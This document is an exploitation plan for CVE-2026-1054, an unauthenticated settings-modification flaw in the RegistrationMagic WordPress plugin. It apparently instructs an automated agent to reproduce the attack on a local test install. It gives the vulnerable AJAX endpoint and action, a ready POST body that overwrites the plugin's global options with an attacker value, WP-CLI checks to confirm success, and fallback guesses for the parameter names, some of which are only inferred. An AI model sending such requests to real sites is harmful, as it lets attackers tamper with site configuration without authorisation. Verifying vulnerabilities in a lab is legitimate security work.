Exploitation Research Plan: CVE-2026-1054

1. Vulnerability Summary

The RegistrationMagic plugin (versions <= 6.0.7.4) contains a critical missing authorization vulnerability in its AJAX handling logic. Specifically, the action rm_set_otp is registered for both authenticated and unauthenticated users (wp_ajax_rm_set_otp and wp_ajax_nopriv_rm_set_otp) but fails to implement any nonce verification or capability checks (current_user_can). This allows an unauthenticated attacker to invoke the handler and modify arbitrary global plugin settings stored in the database.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: rm_set_otp
• Method: POST
• Authentication: None Required (Unauthenticated)
• Vulnerable Parameter(s):
  • key (inferred): The specific setting key within the global options array to modify.
  • val (inferred): The value to assign to that setting.
• Preconditions: The plugin must be active.

3. Code Flow (Inferred)

1. Entry Point: The request hits admin-ajax.php with action=rm_set_otp.
2. Hook Trigger: WordPress executes the hook wp_ajax_nopriv_rm_set_otp.
3. Handler Execution: The plugin's AJAX service (likely RM_Ajax_Service::rm_set_otp) is called.
4. Processing:
   • The handler retrieves values from $_POST['key'] and $_POST['val'] (or similarly named parameters).
   • It fetches the global settings array (usually the option rm_option_global).
   • It updates the array element corresponding to the provided key with the provided val.
5. Sink: update_option('rm_option_global', $updated_settings) is called without validating if the requester has administrative privileges.

4. Nonce Acquisition Strategy

According to the vulnerability description, the rm_set_otp handler completely lacks nonce verification.

Conclusion: No nonce is required for exploitation. The request can be sent directly to the AJAX endpoint.

5. Exploitation Strategy

Step 1: Discover Actual Parameter Names

Since source code was not provided, the first step for the automated agent is to identify the exact parameter names used in the rm_set_otp function.

• Action: Use grep to find the function definition.
• Command: grep -rn "function rm_set_otp" /var/www/html/wp-content/plugins/custom-registration-form-builder-with-submission-manager/

Step 2: Formulate Payload

Based on RegistrationMagic's standard setting structure, the exploit will attempt to modify the public_key (reCAPTCHA) or a frontend string like sub_title_sub_manager.

Target Payload (Likely):

• action: rm_set_otp
• key: public_key
• val: PWNED_RECAPTCHA_KEY

Step 3: Execute Attack

Using the http_request tool:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body: action=rm_set_otp&key=public_key&val=PWNED_RECAPTCHA_KEY (Verify parameter names from Step 1 first).

6. Test Data Setup

1. Install Plugin: Ensure RegistrationMagic v6.0.7.4 is installed and activated.
2. Initial State: Check the current global options to have a baseline.
   • wp option get rm_option_global --format=json

7. Expected Results

• HTTP Response: The server should return a successful status (200 OK) and likely a '1' or a JSON success message (typical of WordPress AJAX).
• Outcome: The rm_option_global entry in the wp_options table will be updated. Specifically, the public_key (or chosen key) will now reflect the attacker's value.

8. Verification Steps

After the exploit attempt, verify the change via WP-CLI:

1. Check Options:
   • wp option get rm_option_global --format=json | grep PWNED_RECAPTCHA_KEY
2. Success Condition: If the output contains PWNED_RECAPTCHA_KEY, the arbitrary settings modification is confirmed.

9. Alternative Approaches

If key/val parameters do not work, use the following fallback strategies:

• Check for rm_ prefix: Try rm_option_name and rm_option_value.
• Check for otp_ prefix: Since the function name is rm_set_otp, the parameters might be otp_key or otp_value.
• Direct Option Update: Investigate if the handler allows passing an entire array of settings instead of a single key-value pair.
• Inspect RM_Ajax_Service.php: Use cat on the file containing rm_set_otp to read the logic directly before sending the HTTP request. This is the most reliable way to determine the expected POST keys.